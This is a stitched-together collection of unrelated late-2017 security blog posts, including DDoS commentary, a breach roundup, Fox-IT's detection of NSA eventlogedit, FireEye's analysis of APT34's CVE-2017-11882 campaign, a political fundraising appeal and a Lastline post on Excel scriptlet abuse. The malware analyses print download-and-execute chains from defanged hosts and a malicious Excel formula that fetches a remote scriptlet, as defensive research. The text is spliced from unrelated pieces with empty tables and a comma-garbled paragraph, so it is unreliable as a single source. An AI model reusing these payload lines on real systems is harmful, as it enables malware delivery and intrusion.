Of course, cyberattacks come in various forms, including ransomware and distributed denial of service (DDoS) attacks. The WannaCry ransomware attack that wreaked havoc with Britain’s National Health Service in May 2016 is one example. In another incident, in November of this year according to SC Magazine, “…National Cyber Security Centre chief Ciaran Martin, confirmed the Kremlin had ordered a cyber-assault on the UK's major power companies in a bid to disrupt international order.”

Unfortunately, it has become much easier and less expensive for hackers to conduct cyberattacks. For example, to launch a DDoS attack individuals can simply tap a DDoS-for-hire service for under a hundred dollars, or several thousand dollars, depending on the scope of the DDoS attack they want to order. One DDoS service advertised on a Russian public forum offers attacks from as little as $50 per day. However, Kaspersky believes the average cost is more like $25 per hour, with cyber criminals making a profit of about $18 for every hour of an attack. For the more tech-savvy, do-it-yourself hackers, the Mirai botnet code has been unleashed on the Dark Web for over a year, and many variations of it have been created.

What Purpose do DDoS Attacks Have?

Often hackers launch “Dark DDoS attacks,” also known as low threshold, sub-saturating attacks, to distract IT security teams from a more nefarious security breach, such as a malware or ransomware infiltration. (Ransomware is a relatively easy way to make money, and some suggest that terrorists are willing to carry out such attacks). However, attacks on critical infrastructure conducted by a nation-state or terrorist group would more likely be volumetric in nature, to disable systems and thereby create chaos.

Who Is Commonly Behind DDoS Attacks?

The perpetrators of cyber warfare could come from disaffected citizens, or from nation-state operators. The list of potential nation-states or terror groups is relatively short: North Korea, Russia, China, Iran, and ISIS are prime possibilities. For more info about terrorist groups that may hack, read the CipherBrief article, “Terrorists Learn How to Hack.”

One troubling fact is that over a third (39%) of national critical infrastructure organizations in the UK have not completed basic cyber security standards issued by the UK government, according to data revealed under the Freedom of Information Act by Corero. Some of these organizations could be liable for fines of up to £17m, or four percent of global turnover, under the UK government’s proposals to implement the EU’s Network and Information Systems (NIS) directive, from May 2018.

Corero has been a leader in DDoS protection for over a decade. For information about how you can protect your organization from DDoS attacks, contact us.

A sinuous journey through “tensor_forest“

Random forest, an ensemble method

The random forest (RF) model, first proposed by Tin Kam Ho in 1995, is a subclass of ensemble learning methods that is applied to classification and regression. An ensemble method constructs a set of classifiers – a group of decision trees, in the case of RF – and determines the label for each data instance by taking the weighted average of each classifier’s output.

The learning algorithm utilizes the divide-and-conquer approach and reduces the inherent variance of a single instance of the model through bootstrapping. Therefore, “ensembling” a group of weaker classifiers boosts the performance and the resulting aggregated classifier is a stronger model.

Making a simple network traffic graph with tshark and afterglow

Outputting a pcap file for CSV format for using afterglow. pl and neato (Graphviz) to create a graph
To make a simple source and destination graph..
First make the capture file using tcpdump
tcpdump -nn -i -q
Then use tshark to extract the source and destination IP address and output to a comma separated file
tshark -T fields -nn -r capture.pcap -E separator=, -e ip.src -e ip.dst > output.txt
Sort and remove duplicates
cat output.txt | sort | uniq > output.csv
or just sort to see all connections
cat output.txt | sort > output.csv
Edit file to remove any lines with incorrect data (like just a comma)
Process the file through afterglow to format in dot graph format that Graphviz can use
cat output.csv | afterglow/ -t >
Create your graph in .png format
cat | neato -Tpng > output.png

Weekly Cyber Risk Roundup: Bitcoin Attacks Dominate Headlines, New Phishing Warnings

Several cryptocurrency exchanges were among the week’s top trending cybercrime targets due to a variety of different currency thefts, data breaches, and warnings from researchers.


The most impactful incident occurred at the bitcoin mining platform and exchange NiceHash, which said on Wednesday that its payment system was compromised and the bitcoin in its wallet was stolen. NiceHash said it is “working to verify the precise number of BTC taken”; however, news outlets reported that a wallet linked to the attack obtained around 4,736 bitcoin, which is valued at more than $72 million based on Saturday’s price. The company has not released many details about the attack other than that it began after an employee’s computer was compromised.

In addition, researchers warned this week that the increased valuation of bitcoin has led to it becoming one of the top 10 most targeted industries for DDoS attacks. On Monday, Bitfinex said that its services were disrupted by a DDoS attack. On Thursday, Coinbase warned that the explosion of interest in digital currencies was creating “extreme volatility and stress” on its systems and warned its users to invest responsibly as any future downtime could impact their ability to trade.

News outlets also reported that some Bittrex customers who go through the company’s manual verification process but are rejected have received customer support emails that contain the passports details and photographs of other users, although Bittrex has not confirmed the reports.

Finally, the SEC announced that it obtained an emergency asset freeze to halt the Initial Coin Offering PlexCorps after it raised up to $15 million from thousands of investors by falsely promising a 13-fold profit in less than a month’s time.


Other trending cybercrime events from the week include:

  • TIO Networks announces breach: PayPal announced a breach at TIO Networks, a payment processor it acquired in July, that affects approximately 1.6 million customers. City Utilities (CU) and Duke Energy have since notified customers that their personal information was compromised due to the breach, as TIO was the provider of the operating system for CU’s payment kiosks and mobile payment app, in addition to being used to process Duke Energy’s in-person payments.
  • Payment card breaches: The Image Group is notifying customers of a temporary vulnerability on its eCommerce platform, Payflow Pro, that made some payment card numbers susceptible to interception while in transit to PayPal. JAM Paper & Envelope is notifying customers of a payment card card breach affecting its website due to unauthorized access by a third party. A payment card breach involving the Royal National Institute for the Blind’s web store affects as many as 817 customers, and around 55 individuals have already reported fraudulent activity as a result of the incident.
  • Extortion attacks: The Alameda County Library is notifying its users that their personal information may have been compromised after it received an extortion email that claimed hackers had gained access to the library’s entire database of users and may sell that information if they weren’t paid a five bitcoin ransom. The Mecklenburg County government in North Carolina said that its computer systems were infected with ransomware that is demanding $23,000 for the encryption key. Mad River Township Fire and EMS Department in Ohio said that years of data related to residents who used EMS or fire services was lost due to a ransomware infection. The fertility clinic CCRM Minneapolis said that nearly 3,300 patients may have had their information compromised due to a ransomware attack.
  • Other notable incidents: The Center for Health Care Services in San Antonio is notifying 28,434 patients that their personal information was stolen by a former employee. The County of Humboldt is notifying current and former employees that the Humboldt County Sheriff’s Office recovered payroll documents from the county. Pulmonary Specialists of Louisville is notifying patients their information may have been compromised due to possible unauthorized access. Virtual keyboard developer Ai.Type, bike sharing company oBike, Real Time Health Quotes, and Stanford University all had data breaches due to accidental data exposure. Baptist Health Louisville, Sinai Health System, and The Henry Ford Health System notified patients of employee email account breaches.
  • Law enforcement actions: Authorities reportedly shut down Leakbase, a service that sold access to more than two billion credentials collected from old data breaches. The Justice Department announced a software developer at the National Security Agency’s Tailored Access Operations has pleaded guilty to removing classified NSA data and later having that data stolen from his personal computer by Russian state-sponsored actors. A Michigan man pleaded guilty to gaining access to the Washtenaw County computer network and altering the electronic records of at least one inmate in an attempt to get the inmate released early. A Missouri man has been sentenced to six years in prison for hacking his former employer, American Crane & Tractor Parts, in order to steal trade secrets.

SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of those “newly seen” targets, meaning they either appeared in SurfWatch Labs’ data for the first time or else reappeared after being absent for several weeks, are shown in the chart below.


Cyber Risk Trends From the Past Week

2017-12-8_RiskScoresPhishing concerns were highlighted once again this past week due to a newly announced vulnerability that allows malicious actors to spoof emails, as well as warnings that phishers are making efforts to appear more legitimate.

A researcher has discovered a collection of bugs in email clients, dubbed “Mailsploit,” that circumvents spoofing protection mechanisms and, in some cases, allows code injection attacks. The vulnerabilities were found in dozens of applications, including Apple Mail, Mozilla Thunderbird, Microsoft Outlook 2016, Yahoo! Mail, ProtonMail, and others.

The bug has been fixed in 10 products and triaged for 8 additional products, the researcher said. In addition, Mozilla and Opera said they won’t fix the bug as they consider it to be a server-side problem; however, Thunderbird developer Jörg Knobloch told Wired that a patch would be made available. DMARC spoofing protection is not attacked directly using Mailsploit,  the researcher said, but rather bypassed by taking advantage of how the clients display the email sender name.

In addition, researchers said that nearly a quarter of all phishing websites are now hosted on HTTPS domains, up from three percent a year ago. The increase is due to both an increased number of HTTPS websites that can be compromised and used to host malicious content, as well as phishers registering HTTPS domains themselves due to their belief that the “HTTPS” designation makes a phishing site seem more legitimate to potential victims. An informal poll conducted by PhishLabs found that more than 80% of the respondents incorrectly believed the green padlock associated with HTTPS websites indicated that a website was either legitimate or safe — when in reality it only means that the connection is encrypted.

Individuals and organizations should be aware that malicious actors continue to leverage exploits like Mailsploit along with more secure-looking websites in order to dupe potential victims via phishing attacks with the goal of installing malware, gaining access to networks, or stealing sensitive data.

Channeling Back – Startup Security Weekly #65

Todd O'Boyle of StrongArm joins us for an interview! In our article discussion, we discuss behaviors that can drive cultural change, the power of office back-channeling, and the five traits of successful teams at Google! In the news, we have updates from InterVision, Prevoty, Okta, and Riskonnect, and more on this episode of Startup Security Weekly

Full Show Notes:

Visit for all the latest episodes!


FOIA The Dead, the transparency site public figures are dying to get into

Newspapers, classified
Photo by G. Crescoli on Unsplash

FOIA The Dead, a transparency project that automates public records requests of notable deceased individuals and publishes the results, is relaunching today as a special project of Freedom of the Press Foundation.

Here's how it works: Public records laws like the Freedom of Information Act (FOIA) typically allow agencies like the FBI to limit the information that's available to the public, ostensibly to protect the privacy of individuals. In the United States, the rules that enable these restrictions no longer apply after a person passes away.

For FOIA The Dead, that means major paper obituaries serve a special purpose—they flag a prominent figure for whom government information might be newly available to the public. Thus, every day an automated program pages through the obituary section of the New York Times and bundles up FOIA requests to send to the FBI, seeking files.

Often, the FBI responds that they have no documents responsive to the request, meaning (usually) that the agency simply has no records related to the person in its files. But frequently we do receive documents, and we publish them online for the world to see.

The resulting project shows a thin slice of the sorts of surveillance that the U.S. government engages in, but even that limited view can be revelatory. In particular, it reflects a pattern of surveillance of activists, journalists, and even academics. For example, FOIA The Dead has surfaced the FBI file for the CBS correspondent Morley Safer, which documents a bureau report prepared after a tip that his coverage could be "destructive to morale" in the Vietnam War. We've also published the file of Washington Post writer Ben Bagdikian—a file he requested himself, in 1975—which shows intense scrutiny of his articles about the FBI and official secrecy.

Since the inception of the project, we’ve sent over 1,500 public records requests, and have published over 3,500 pages of files. A large portion of those requests are still active—meaning we haven’t heard one way or another from the FBI about whether a file exists—but we’ve already received and published files on 50 individuals, and that number is now increasing regularly.

Currently, FOIA The Dead checks the obituary section using a New York Times API, and files requests through Muckrock, a news organization that offers tools for sending public records requests. And just as much as we hope to unearth interesting information about government surveillance of public figures, we also aim to inspire newsrooms and journalists to pursue other automated records requesting efforts. To that end, all of the source code behind FOIA The Dead is free software and available on Github.

For more background, we recommend this episode of Note To Self, a technology podcast that reported on the project when it initially launched earlier this year. That page also includes instructions for requesting your own file, or the file of a friend or relative, if that’s something you’re interested in.

For FOIA The Dead's relaunch, we have published a slew of new files and improved the way the site works, including the addition of RSS feeds for new entries. You can follow the project's dedicated Twitter feed at @foiathedead, which we will update any time there is a new file posted.

Paul’s Security Weekly #539 – Dental Security Weekly

Lisa O'Connor of Accenture Labs joins us for an interview to discuss threat intelligence, advanced cyber hunting, active defense, and security of the Industrial Internet of things! Eyal Neemany of Javelin Networks joins us for the tech segment to discuss bypassing Two-Factor Authentication! Paul and Larry talk about Uber, vulnerable banking apps, and bluetooth on the news, on this weeks episode of Paul's Security Weekly!

Full Show Notes:

Visit for all the latest episodes!

→Follow us on Twitter:

→Like us on Facebook:

Historical OSINT – Inside the 2007-2009 Series of Cyber Attacks Against Multiple International Embassies

Remember, the, Russian, Business, Network, and, the, New, Media, Malware, Gang? It's, been, several, years, since, I, last, posted, an, update, regarding, the, group's, activities, including, the, direct, establishing, of, a, direct, connection, between, the, Russian, Business, Network, the, New, Media, Malware, gang, including, a, variety, of, high, profile, Web, site, compromise, campaigns.

Detection and recovery of NSA’s covered up tracks

Part of the NSA cyber weapon framework DanderSpritz is eventlogedit, a piece of software capable of removing individual lines from Windows Event Log files. Now that this tool is leaked and public, any criminal willing to remove its traces on a hacked computer can use it. Fox-IT has looked at the software and found a unique way to detect the use of it and to recover the removed event log entries.


A group known as The Shadow Brokers published a collection of software, which allegedly was part of the cyber weapon arsenal of the NSA. Part of the published software was the exploitation framework FuzzBunch and post-exploitation framework DanderSpritz. DanderSpritz is a full-blown command and control server, or listening post in NSA terms. It can be used to stealthy perform various actions on hacked computers, like finding and exfiltrating data or move laterally through the target network. Its GUI is built on Java and contains plugins written in Python. The plugins contain functionality in the framework to perform specific actions on the target machine. One specific plugin in DanderSpritz caught the eye of the Forensics & Incident Response team at Fox-IT: eventlogedit.

DanderSpritz with eventlogedit in action

Figure 1: DanderSpritz with eventlogedit in action


Normally, the content of Windows Event Log files is useful for system administrators troubleshooting system performance, security teams monitoring for incidents, and forensic and incident response teams investigating a breach or fraud case. A single event record can alert the security team or be the smoking gun during an investigation. Various other artefacts found on the target system usually corroborate findings in Windows Event Log files during an investigation, but a missing event record could reduce the chances of detection of an attack, or impede investigation.

Fox-IT has encountered event log editing by attackers before, but eventlogedit appeared to be more sophisticated. Investigative methods able to spot other methods of event log manipulation were not able to show indicators of edited log files after the use of eventlogedit. Using eventlogedit, an attacker is able to remove individual event log entries from the Security, Application and System log on a target Windows system. After forensic analysis of systems where eventlogedit was used, the Forensics & Incident Response team of Fox-IT was able to create a Python script to detect the use of eventlogedit and fully recover the removed event log entries by the attacker.

Analysing recovered event records, deleted by an attacker, gives great insight into what an attacker wanted to hide and ultimately wanted to achieve. This provides security and response teams with more prevention and detection possibilities, and investigative leads during an investigation.

Before (back) and after (front) eventlogedit

Figure 2: Before (back) and after (front) eventlogedit

eventlogedit in use

Starting with Windows Vista, Windows Event Log files are stored in the Windows XML Eventlog format. The files on the disk have the file extension .evtx and are stored in the folder \Windows\System32\winevt\Logs\ on the system disk, by default. The file structure consists of a file header followed by one or more chunks. A chunk itself starts with a header followed by one or more individual event records. The event record starts with a signature, followed by record size, record number, timestamp, the actual event message, and the record size once again. The event message is encoded in a proprietary binary XML format, binXml. BinXml is a token representation of text XML.

Fox-IT discovered that when eventlogedit is used, the to-be-removed event record itself isn’t edited or removed at all: the record is only unreferenced. This is achieved by manipulation of the record header of the preceding record. Eventlogedit adds the size of the to-be-removed-record to the size of the previous record, thereby merging the two records. The removed record including its record header is now simply seen as excess data of the preceding record. In Figure 3 this is illustrated. You might think that an event viewer would show this excess or garbage data, but no. Apparently, all tested viewers parse the record binXml message data until the first end-tag and then move on to the next record. Tested viewers include Windows Event Viewer as well as various other forensic event log viewers and parsers. None of them was able to show a removed record.

Untouched event records (left) and deleted event record (right)

Figure 3: Untouched event records (left) and deleted event record (right). Note: not all field are displayed here.

Merely changing the record size would not be enough to prevent detection: various fields in the file and chunk header need to be changed. Eventlogedit makes sure that all following event records numbers are renumbered and that checksums are recalculated in both the file and chunk header. Doing so, it makes sure that obvious anomalies like missing record numbers or checksum errors are prevented and will not raise an alarm at the system user, or the security department.

Organizations which send event log records on the fly to a central log server (e.g. a SIEM), should be able to see the removed record on their server. However, an advanced attacker will most likely compromise the log server before continuing the operation on the target computer.

Recovering removed records

As eventlogedit leaves the removed record and record header in its original state, their content can be recovered. This allows the full recovery of all the data that was originally in the record, including record number, event id, timestamps, and event message.

Fox-IT’s Forensics & Incident Response department has created a Python script that finds and exports any removed event log records from an event log file. This script also works in the scenario when consecutive event records have been removed, when the first record of the file is removed, or the first record of a chunk is removed. In Figure 4 an example is shown.

Recovering removed event records

Figure 4: Recovering removed event records

We have decided to open source the script. It can be found on our GitHub and works like this:

$ python -h
usage: [-h] -i INPUT_PATH [-o OUTPUT_PATH]
 [-e EXPORT_PATH] - Parse evtx files and detect the use of the danderspritz
module that deletes evtx entries

optional arguments:
 -h, --help show this help message and exit
 Path to evtx file
 Path to corrected evtx file
 Path to location to store exported xml records

The script requires the python-evtx library from Willi Ballenthin.

Additionally, we have created an easy to use standalone executable for Windows systems which can be found on our GitHub as well.


md5    c07f6a5b27e6db7b43a84c724a2f61be 
sha1   6d10d80cb8643d780d0f1fa84891a2447f34627c
sha256 6c0f3cd832871ba4eb0ac93e241811fd982f1804d8009d1e50af948858d75f6b



To detect if the NSA or someone else has used this to cover up his tracks using the eventlogedit tool on your systems, it is recommended to use the script on event log files from your Windows servers and computers. As the NSA very likely changed their tools after the leaks, it might be farfetched to detect their current operations with this script. But you might find traces of it in older event log files. It is recommended to run the script on archived event log files from back-ups or central log servers.

If you find traces of eventlogedit, and would like assistance in analysis and remediation for a possible breach, feel free to contact us. Our Forensics & Incident Response department during business hours or FoxCERT 24/7.

Wouter Jansen
Fox-IT Forensics & Incident Response


NCCIC is aware of a public report of an improper authentication vulnerability affecting WAGO PFC200, a Programmable Logic Controller (PLC) device. According to this report, the vulnerability is exploitable by sending a TCP payload on the bound port. This report was released after attempted coordination with WAGO. NCCIC has notified the affected vendor of the report and has asked the vendor to confirm the vulnerability and identify mitigations. NCCIC is issuing this alert to provide notice of the report and identify baseline mitigations for reducing risks to these and other cybersecurity attacks.

New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit

Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14, 2017, FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East. We assess this activity was carried out by a suspected Iranian cyber espionage threat group, whom we refer to as APT34, using a custom PowerShell backdoor to achieve its objectives.

We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014. This threat group has conducted broad targeting across a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests.

APT34 uses a mix of public and non-public tools, often conducting spear phishing operations using compromised accounts, sometimes coupled with social engineering tactics. In May 2016, we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware. We now attribute that campaign to APT34. In July 2017, we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER, based on strings within the malware. The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199.

In this latest campaign, APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER.

The full report on APT34 is available to our MySIGHT customer community. APT34 loosely aligns with public reporting related to the group "OilRig". As individual organizations may track adversaries using varied data sets, it is possible that our classifications of activity may not wholly align.

CVE-2017-11882: Microsoft Office Stack Memory Corruption Vulnerability

CVE-2017-11882 affects several versions of Microsoft Office and, when exploited, allows a remote user to run arbitrary code in the context of the current user as a result of improperly handling objects in memory. The vulnerability was patched by Microsoft on Nov. 14, 2017. A full proof of concept (POC) was publicly released a week later by the reporter of the vulnerability.

The vulnerability exists in the old Equation Editor (EQNEDT32.EXE), a component of Microsoft Office that is used to insert and evaluate mathematical formulas. The Equation Editor is embedded in Office documents using object linking and embedding (OLE) technology. It is created as a separate process instead of child process of Office applications. If a crafted formula is passed to the Equation Editor, it does not check the data length properly while copying the data, which results in stack memory corruption. As the EQNEDT32.exe is compiled using an older compiler and does not support address space layout randomization (ASLR), a technique that guards against the exploitation of memory corruption vulnerabilities, the attacker can easily alter the flow of program execution.


APT34 sent a malicious .rtf file (MD5: a0e6933f4e0497269620f44a083b2ed4) as an attachment in a malicious spear phishing email sent to the victim organization. The malicious file exploits CVE-2017-11882, which corrupts the memory on the stack and then proceeds to push the malicious data to the stack. The malware then overwrites the function address with the address of an existing instruction from EQNEDT32.EXE. The overwritten instruction (displayed in Figure 1) is used to call the “WinExec” function from kernel32.dll, as depicted in the instruction at 00430c12, which calls the “WinExec” function.

Figure 1: Disassembly of overwritten function address

After exploitation, the ‘WinExec’ function is successfully called to create a child process, “mshta.exe”, in the context of current logged on user. The process “mshta.exe” downloads a malicious script from hxxp://mumbai-m[.]site/b.txt and executes it, as seen in Figure 2.

Figure 2: Attacker data copied to corrupt stack buffer

Execution Workflow

The malicious script goes through a series of steps to successfully execute and ultimately establish a connection to the command and control (C2) server. The full sequence of events starting with the exploit document is illustrated in Figure 3.

Figure 3: CVE-2017-11882 and POWRUNER attack sequence

  1. The malicious .rtf file exploits CVE-2017-11882.
  2. The malware overwrites the function address with an existing instruction from EQNEDT32.EXE.
  3. The malware creates a child process, “mshta.exe,” which downloads a file from: hxxp://mumbai-m[.]site/b.txt.
  4. b.txt contains a PowerShell command to download a dropper from: hxxp://dns-update[.]club/v.txt. The PowerShell command also renames the downloaded file from v.txt to v.vbs and executes the script.
  5. The v.vbs script drops four components (hUpdateCheckers.base, dUpdateCheckers.base, cUpdateCheckers.bat, and GoogleUpdateschecker.vbs) to the directory: C:\ProgramData\Windows\Microsoft\java\
  6. v.vbs uses CertUtil.exe, a legitimate Microsoft command-line program installed as part of Certificate Services, to decode the base64-encoded files hUpdateCheckers.base and dUpdateCheckers.base, and drop hUpdateCheckers.ps1 and dUpdateCheckers.ps1 to the staging directory.
  7. cUpdateCheckers.bat is launched and creates a scheduled task for GoogleUpdateschecker.vbs persistence.
  8. GoogleUpdateschecker.vbs is executed after sleeping for five seconds.
  9. cUpdateCheckers.bat and *.base are deleted from the staging directory.

Figure 4 contains an excerpt of the v.vbs script pertaining to the Execution Workflow section.

Figure 4: Execution Workflow Section of v.vbs

After successful execution of the steps mentioned in the Execution Workflow section, the Task Scheduler will launch GoogleUpdateschecker.vbs every minute, which in turn executes the dUpdateCheckers.ps1 and hUpdateCheckers.ps1 scripts. These PowerShell scripts are final stage payloads – they include a downloader with domain generation algorithm (DGA) functionality and the backdoor component, which connect to the C2 server to receive commands and perform additional malicious activities. 

hUpdateCheckers.ps1 (POWRUNER)

The backdoor component, POWRUNER, is a PowerShell script that sends and receives commands to and from the C2 server. POWRUNER is executed every minute by the Task Scheduler. Figure 5 contains an excerpt of the POWRUNER backdoor.

Figure 5: POWRUNER PowerShell script hUpdateCheckers.ps1

POWRUNER begins by sending a random GET request to the C2 server and waits for a response. The server will respond with either “not_now” or a random 11-digit number. If the response is a random number, POWRUNER will send another random GET request to the server and store the response in a string. POWRUNER will then check the last digit of the stored random number response, interpret the value as a command, and perform an action based on that command. The command values and the associated actions are described in Table 1.





Server response string contains batch commands

Execute batch commands and send results back to server


Server response string is a file path

Check for file path and upload (PUT) the file to server


Server response string is a file path

Check for file path and download (GET) the file

Table 1: POWRUNER commands

After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution.

The C2 server can also send a PowerShell command to capture and store a screenshot of a victim’s system. POWRUNER will send the captured screenshot image file to the C2 server if the “fileupload” command is issued. Figure 6 shows the PowerShell “Get-Screenshot” function sent by the C2 server.

Figure 6: Powershell Screenshot Functionality

dUpdateCheckers.ps1 (BONDUPDATER)

One of the recent advancements by APT34 is the use of DGA to generate subdomains. The BONDUPDATER script, which was named based on the hard-coded string “B007”, uses a custom DGA algorithm to generate subdomains for communication with the C2 server.

DGA Implementation

Figure 7 provides a breakdown of how an example domain (456341921300006B0C8B2CE9C9B007.mumbai-m[.]site) is generated using BONDUPDATER’s custom DGA.

Figure 7: Breakdown of subdomain created by BONDUPDATER

  1. This is a randomly generated number created using the following expression: $rnd = -join (Get-Random -InputObject (10..99) -Count (%{ Get-Random -InputObject (1..6)}));
  2. This value is either 0 or 1. It is initially set to 0. If the first resolved domain IP address starts with 24.125.X.X, then it is set to 1.
  3. Initially set to 000, then incremented by 3 after every DNS request
  4. First 12 characters of system UUID.
  5. “B007” hardcoded string.
  6. Hardcoded domain “mumbai-m[.]site”

BONDUPDATER will attempt to resolve the resulting DGA domain and will take the following actions based on the IP address resolution:

  1. Create a temporary file in %temp% location
    • The file created will have the last two octets of the resolved IP addresses as its filename.
  2. BONDUPDATER will evaluate the last character of the file name and perform the corresponding action found in Table 2.




File contains batch commands, it executes the batch commands


Rename the temporary file as .ps1 extension


Rename the temporary file as .vbs extension

Table 2: BONDUPDATER Actions

Figure 8 is a screenshot of BONDUPDATER’s DGA implementation.

Figure 8: Domain Generation Algorithm

Some examples of the generated subdomains observed at time of execution include:




Network Communication

Figure 9 shows example network communications between a POWRUNER backdoor client and server.

Figure 9: Example Network Communication

In the example, the POWRUNER client sends a random GET request to the C2 server and the C2 server sends the random number (99999999990) as a response. As the response is a random number that ends with ‘0’, POWRUNER sends another random GET request to receive  an additional command string. The C2 server sends back Base64 encoded response.

If the server had sent the string “not_now” as response, as shown in Figure 10, POWRUNER would have ceased any further requests and terminated its execution.

Figure 10: Example "not now" server response

Batch Commands

POWRUNER may also receive batch commands from the C2 server to collect host information from the system. This may include information about the currently logged in user, the hostname, network configuration data, active connections, process information, local and domain administrator accounts, an enumeration of user directories, and other data. An example batch command is provided in Figure 11.

Figure 11: Batch commands sent by POWRUNER C2 server


APT34 has used POWRUNER and BONDUPDATER to target Middle East organizations as early as July 2017. In July 2017, a FireEye Web MPS appliance detected and blocked a request to retrieve and install an APT34 POWRUNER / BONDUPDATER downloader file. During the same month, FireEye observed APT34 target a separate Middle East organization using a malicious .rtf file (MD5: 63D66D99E46FB93676A4F475A65566D8) that exploited CVE-2017-0199. This file issued a GET request to download a malicious file from:


As shown in Figure 12, the script within the dupatechecker.doc file attempts to download another file named dupatechecker.exe from the same server. The file also contains a comment by the malware author that appears to be an apparent taunt to security researchers.

Figure 12: Contents of dupdatechecker.doc script

The dupatechecker.exe file (MD5: C9F16F0BE8C77F0170B9B6CE876ED7FB) drops both BONDUPDATER and POWRUNER. These files connect to proxychecker[.]pro for C2.

Outlook and Implications

Recent activity by APT34 demonstrates that they are capable group with potential access to their own development resources. During the past few months, APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities (CVE-2017-0199 and CVE-2017-11882) to target organizations in the Middle East. We assess that APT34’s efforts to continuously update their malware, including the incorporation of DGA for C2, demonstrate the group’s commitment to pursing strategies to deter detection. We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region.


Filename / Domain / IP Address

MD5 Hash or Description

CVE-2017-11882 exploit document





















Malware Staging Server

CVE-2017-0199 exploit document


Malware Staging Server







Has resolved mumbai-m[.]site & hpserver[.]online

Has resolved mumbai-m[.]site and dns-update[.]club

Has resolved dns-update[.]club

Has resolved dns-update[.]club

Has resolved ns2.dns-update[.]club & hpserver[.]online & anyportals[.]com




























In Which You Get a Chance to Save Democracy

Let’s start with the end: you can do something to change the broken political landscape in the United States, but you have to act quickly. Here’s a link to donate directly to outsider candidates I support who aren’t getting the funds they need. They are dedicated to working for their constituents’ healthcare, jobs, and community, but their districts are low income and have been ignored by national Democratic leadership. Any amount helps, no matter how small, but if you’re not a US citizen or permanent resident and can’t donate, at least you can help get the word out.

A few decades ago, I started became concerned about the national political landscape. Bush’s war on terror and the PATRIOT act were nightmares for freedom, and then Obama increased surveillance and drone strikes. At the same time, corporate lobbyists and PACs had grown to overrun the electoral process with their outsized influence.

The US is a rich country in funds and resources, but also in values. The Declaration of Independence puts it right up front: people have inherent rights that can’t be legislated away, and the government is there to secure those rights, drawing its power from the people. We don’t always live up to these values, but change has come upon us time and again with simple questions like, “am I not a man and a brother?

We are now at a critical point. Ignore the distracting presidency — Republicans are openly backing corporations & the wealthy by driving up the deficit and dismantling the thin safety net we have. Establishment Democrats are disorganized and out of touch with their roots, siding with financial interests instead of the poor and middle class. It’s time for a change.

Given that there isn’t a strong third party, the best bet is to renovate the Democrats from the inside. Too often, they have run weak candidates in districts that were too small or rural for them to care about, or even let the race go unopposed.

This has been a mistake. There is a huge vacuum for truly populist, outsider candidates. For 2018, the Democratic establishment appears to be cruising on anti-Trump sentiment, hoping enough voters are energized by his antics to turn against their local Republicans. Their tired playbook of dumping tons of outside money into business-friendly candidates to annoy residents with nonstop TV ads late in the campaign is another mistake.

The good news is that first-time Democratic candidates are running that support common sense policies like access to healthcare, investing in infrastructure, and education. And, they’re focused on the basics: build a ground campaign that talks to voters and recruits volunteers to get out the vote. The community they build will outlast this one election. But since they’re running in districts that have been ignored by the Democratic organization, they are lacking basic funds.

More good news: we’re not talking a lot of money. Your $10 or $100 donation makes a huge difference when $2,000/month hires a staff member. I know many of you are engineers & entrepreneurs that can give even more.

If these outsider candidates raise enough money before the primaries next year, it gets very interesting. The national Democratic party will notice the schoolteacher that just wiped the floor with their perennial, bland contender, outraising them with individual donations. Once they’re in the spotlight, these candidates will attract much more funding going into the main election and win their races.

Time is running out for 2017 to get these candidates off to a good start, so please consider giving an amount that hurts a bit, because it will be too late if we wait for the Democratic leadership to figure it out on their own.

When Scriptlets Attack: Excel’s Alternative to DDE Code Execution

We’ve recently discovered a malicious Office Excel file that appeared to have the ability to download and execute malware. Examining the file, we saw no evidence of macros, shellcode, or DDE functionality. When scanning the file on Virustotal, the low detection gives the appearance that we are witnessing an unknown technique.

malicious Office Excel file

User Infection

Upon opening this Office Excel file, the user is immediately prompted to update the workbook’s external links. External links are a Microsoft Office feature that allows an author to share an Office document with references to external resources, rather than embedding them directly, which keeps the document size small and more flexible to updates. From this perspective, the attack appears very similar to the DDE attack—an increasingly popular Office File exploit that abuses Microsoft’s Dynamic Data Exchange, to execute foreign code.

Open Excel File

Upon updating links, the document instantly spawns cmd/PowerShell processes, which download and execute the next stage (exe):

Exe DeliveredExe Delivered:

Lastline Portal Analysis

However, examining the Office Excel file, no evidence of a DDE attack can be found. What can be found, however, is simply one cell containing the formula =Package|’scRiPt:http://magchris[.]ga/images/squrey.xml’!””

scriplets attackExamining this URL, we find it pointing to a Microsoft scriptlet—a Microsoft XML wrapper for scripting languages to register themselves as COM objects and execute. This particular scriptlet wraps a VBScript, which is designed to download and execute the second stage of malware.

scriplets attack wrapping a VBScript

What is the “Package” Keyword?

While the formula format used may appear odd, it’s actually standard format for a linked file object in Excel. Here is demonstrated how one would create a link to a File Object in Excel:

Linked file object in Excel

After submitting, the cell formula becomes: =Package|’C:\users\myfile.txtl’!””, which now would cause the Excel spreadsheet to host a link to my local file inside the Excel document. Of course, dangers occur when this concept is modified for malicious purposes.

How Attackers Can Abuse Linked File Objects

To understand why this exploit works, we need to look at how Office evaluates this formula. When a user chooses to “update links”, Excel will parse the path portion of this formula and pass it to the MkParseDisplayName API function. MkParseDisplayName is responsible for parsing a human-readable URI (such as “scRiPt:http://magchris[.]ga/images/squrey.xml”) into a moniker best associated with the URI pattern. A moniker is simply an object interface that can be bound/applied to a resource – for example, a local file URI will be detected as a local file resource – thus returning a FileMoniker for object interaction. The table below shows examples of how different resource URIs are handled as monikers:

